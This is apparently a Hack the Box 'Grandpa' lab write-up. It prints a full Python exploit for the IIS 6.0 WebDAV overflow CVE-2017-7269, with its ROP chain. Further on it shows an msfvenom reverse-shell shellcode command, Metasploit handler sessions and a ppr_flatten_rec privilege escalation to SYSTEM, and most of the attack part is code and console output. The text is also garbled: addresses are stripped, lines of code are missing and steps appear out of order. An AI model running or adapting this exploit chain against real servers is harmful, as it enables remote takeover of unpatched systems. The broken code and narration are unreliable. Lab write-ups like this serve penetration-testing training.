Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Grandpa Lab.

Level: Beginners

Task: find user.txt and root.txt file in victim’s machine.

Since these labs are online available therefore they have static IP and IP of Grandpa is so let’s begin with nmap port enumeration.

root@kali:~/htb/grandpa# nmap -sC -sV
Starting Nmap 7.70 ( ) at 2019-01-17 15:08 CET
Nmap scan report for
Host is up (0.027s latency).
Not shown: 999 filtered ports
80/tcp open http Microsoft IIS httpd 6.0
| http-methods: 
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan: 
| Server Type: Microsoft-IIS/6.0
| WebDAV type: Unkown
|_ Server Date: Thu, 17 Jan 2019 14:06:03 GMT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 29.59 seconds

Microsoft IIS httpd 6.0


  • Vulnerability: Microsoft IIS WebDav ‘ScStoragePathFromUrl’ Remote Buffer Overflow
  • CVECVE-2017-7269
  • Disclosure date: March 31 2017
  • Affected product: Microsoft Windows Server 2003 R2 SP2 x86


# -*- coding: utf-8 -*-
# An implementation of NSA's ExplodingCan exploit
# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
# CVE-2017-7269 
# by @danigargu

import re
import sys
import socket
import requests
import httplib
import string
import time
import random
import sys

from urlparse import urlparse
from struct import pack

DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot")

def decode(data):
    return data.decode("utf-8").encode("utf-16le")

def encode(data):
    return data.decode("utf-16le").encode("utf-8")

p = lambda x : pack("<L", x) # pack

def rand_text_alpha(size):
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join(random.choice(chars) for _ in range(size))

def supports_webdav(headers):
    if "DAV" in headers.get('MS-Author-Via','') or \
        headers.get('DASL','') == '<DAV:sql>' or \
        re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \
        "PROPFIND" in headers.get('Public','') or \
        "PROPFIND" in headers.get('Allow',''):
        return True
    return False

def check(url):
    r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT)
    if r.status_code != 200:
        print("[-] Status code: %d" % r.status_code)
        return False

    print("[*] Server found: %s" % r.headers['Server'])
    if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers):
        return True
    return False

def find_iis_path_len(url, min_len=3, max_len=70, delay=0):
    idx  = 0
    junk = 60
    found = False
    iis_path_len = None
    cur_size = max_len

    assert max_len <= 130, "Max length exceeded (130)"
    init_lenght = 130-max_len

    while not found and cur_size > min_len:
        cur_size = (max_len-idx)
        to_brute = rand_text_alpha(init_lenght+idx)         
        base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute

        sys.stdout.write("[*] Trying with size: %d\r" % cur_size)
            r = requests.request('PROPFIND', url, 
                    timeout=REQUEST_TIMEOUT, headers={
                        'Content-Length': '0',
                        'Host': 'localhost',
                        'If': base_query

            if r.status_code == 500:
                iis_path_len = (max_len-idx)
                found = True
            idx += 1

        # requests.exceptions.ReadTimeout
        except requests.exceptions.ConnectionError as e:
            print("[-] ERROR: %s" % e.message)

    if iis_path_len and iis_path_len == max_len:
        iis_path_len = None
    return iis_path_len

def make_payload(p_url, iis_path_len, shellcode):
    url = p_url.geturl()
    payload = "PROPFIND / HTTP/1.1\r\n"
    payload += "Host: %s\r\n" % p_url.netloc
    payload += "Content-Length: 0\r\n"
    payload += "If: <%s/a" % url

    junk = (128-iis_path_len) * 2

    p1  = rand_text_alpha(junk) # Varies the length given its IIS physical path
    p1 += p(0x02020202)
    p1 += p(0x680312c0) # str pointer to .data httpext.dll
    p1 += rand_text_alpha(24)
    p1 += p(0x680313c0) # destination pointer used with memcpy
    p1 += rand_text_alpha(12)
    p1 += p(0x680313c0) # destination pointer used with memcpy
    payload += encode(p1)

    payload += "> (Not <locktoken:write1>) "
    payload += "<%s/b" % url

    p2  = rand_text_alpha(junk - 4)
    p2 += p(0x680313c0)

    Stack adjust:

    rsaenh.dll:68006E4F  pop     esi
    rsaenh.dll:68006E50  pop     ebp
    rsaenh.dll:68006E51  retn    20h

    p2 += p(0x68006e4f) # StackAdjust
    p2 += p(0x68006e4f) # StackAdjust
    p2 += rand_text_alpha(4)
    p2 += p(0x680313c0)
    p2 += p(0x680313c0)
    p2 += rand_text_alpha(12)

    rsaenh.dll:68016082  mov     esp, ecx
    rsaenh.dll:68016084  mov     ecx, [eax]
    rsaenh.dll:68016086  mov     eax, [eax+4]
    rsaenh.dll:68016089  push    eax
    rsaenh.dll:6801608A  retn

    p2 += p(0x68016082)
    p2 += rand_text_alpha(12)
    p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE
    p2 += rand_text_alpha(4)
    p2 += p(0x680124e3) # JMP [EBX]
    p2 += p(0x68031460) # shellcode address
    p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address
    p2 += p(0xffffffff)
    p2 += p(0x680313c0)
    p2 += p(0x6803046e) 
    p2 += rand_text_alpha(4)
    p2 += p(0x68031434)
    p2 += p(0x680129e7) # leave; ret

    rsaenh.dll:68009391  pop     eax
    rsaenh.dll:68009392  pop     ebp
    rsaenh.dll:68009393  retn    4

    p2 += p(0x68009391)
    p2 += rand_text_alpha(16)
    p2 += p(0x6803141c)

    rsaenh.dll:68006E05  lea     esp, [ebp-20h]
    rsaenh.dll:68006E08  pop     edi
    rsaenh.dll:68006E09  pop     esi
    rsaenh.dll:68006E0A  pop     ebx
    rsaenh.dll:68006E0B  leave
    rsaenh.dll:68006E0C  retn    24h

    p2 += p(0x68006e05)
    p2 += rand_text_alpha(12)
    p2 += p(0x68008246) # EAX val address
    p2 += rand_text_alpha(4)

    Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server)

    rsaenh.dll:68021DAA  mov     eax, [eax+110h]
    rsaenh.dll:68021DB0  pop     ebp
    rsaenh.dll:68021DB1  retn    4

    p2 += p(0x68021daa)
    p2 += rand_text_alpha(4)
    p2 += p(0x680313f8)
    p2 += p(0x680129e7) # leave; ret

    payload += encode(p2)

    stack restore:

    90             nop
    31db           xor ebx, ebx
    b308           mov bl, 8
    648b23         mov esp, dword fs:[ebx]
    6681c40008     add sp, 0x800
    90             nop
    payload += encode("9031DBB308648B236681C4000890".decode("hex"))
    payload += encode(shellcode)
    payload += ">\r\n\r\n"

    return payload

def send_exploit(p_url, data):
    host = p_url.hostname
    port = p_url.port if p_url.port else 80
    vulnerable = False
    recv_data  = None

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, port))
        recv_data = sock.recv(1024)
    except socket.timeout:
        print("[*] Socket timeout")
        vulnerable = True
    except socket.error as e:     
        if e.errno == 54:
            print("[*] Connection reset by peer")
            vulnerable = True
    return (vulnerable, recv_data)

def main():    
    if len(sys.argv) < 3:
        print("Usage: %s <url> <shellcode-file>" % sys.argv[0])

        url = sys.argv[1]
        sc_file = sys.argv[2]
        p_url = urlparse(url)
        shellcode = None

        with open(sc_file, 'rb') as f:
            shellcode =

        print("[*] Using URL: %s" % url)
        if not check(url):
            print("[-] Server not vulnerable")

        iis_path_len = find_iis_path_len(url)
        if not iis_path_len:
            print("[-] Unable to determine IIS path size")

        print("[*] Found IIS path size: %d" % iis_path_len)
        if iis_path_len == DEFAULT_IIS_PATH_SIZE:
            print("[*] Default IIS path: C:\Inetpub\wwwroot")

        r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT)
        if r and r.status_code == 207:
            print("[*] WebDAV request: OK")
            payload = make_payload(p_url, iis_path_len, shellcode)

            print("[*] Payload len: %d" % len(payload))
            print("[*] Sending payload...")
            vuln, recv_data = send_exploit(p_url, payload)

            if vuln:
                print("[+] The host is maybe vulnerable")
            if recv_data:
            print("[-] Server did not respond correctly to WebDAV request")
    except Exception as e:
        print("[-] %s" % e)

if __name__ == '__main__':


The shellcode must be in alphanumeric format due to the limitations of the bug. For example we can use msfvenom(metasploit) with the alpha_mixed encoder.

root@kali:~/htb/grandpa# msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST= LPORT=4444 >shellcode
root@kali:~/htb/grandpa# python shellcode
[*] Using URL:
[*] Server found: Microsoft-IIS/6.0
[*] Found IIS path size: 18
[*] Default IIS path: C:\Inetpub\wwwroot
[*] WebDAV request: OK
[*] Payload len: 2241
[*] Sending payload...

[*] Socket timeout
[+] The host is maybe vulnerable


msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost
lhost =>
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 
[*] Sending stage (179779 bytes) to
[*] Meterpreter session 1 opened ( -> at 2019-01-17 14:44:00 +0100

meterpreter > shell
Process 3016 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

nt authority\network service

Terrific!! I have got unauthorized access of victims command shell through session 1 as shown above

Then I run command getuid for identify user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.

For that background your current meterpreter shell and go for post exploitation

Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.

Background channel 1? [y/N] y
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > 
meterpreter > CTRL-Z
Background session 1? [y/N] 
msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 
msf post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf post(multi/recon/local_exploit_suggester) > run
*] - Collecting local exploits for x86/windows...
[*] - 28 exploit checks are being tried...
[+] - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.
[+] - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated.
[+] - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
[+] - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed

Start a second listener

msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost
lhost =>
msf exploit(multi/handler) > set lport 4455
lport => 4455

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on

[*] Sending stage (179779 bytes) to
[*] Meterpreter session 1 opened ( -> at 2019-01-17 15:30:34 +0100

meterpreter > 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.

msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set lhost
lhost =>
msf exploit(windows/local/ppr_flatten_rec) > set lport 4455
lport => 4455
msf exploit(windows/local/ppr_flatten_rec) > run
meterpreter > getuid
msf exploit(windows/local/ppr_flatten_rec) > run

[-] Handler failed to bind to -
[-] Handler failed to bind to -
[*] Launching notepad to host the exploit...
[+] Process 1776 launched.
[*] Reflectively injecting the exploit DLL into 1776...
[*] Injecting exploit into 1776 ...
[*] Exploit injected. Injecting payload into 1776...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 30 sec 
[*] Sending stage (179779 bytes) to
[*] Meterpreter session 2 opened ( -> at 2019-01-17 15:30:34 +0100

Now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.

meterpreter > shell

Great!! We got our user flag

Inside c:\Document and Setting\Administrator \Desktop I found root.txt file and used type “file name” command for reading this file.

Great!! We got our root flag

Author: Puckiestyle

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *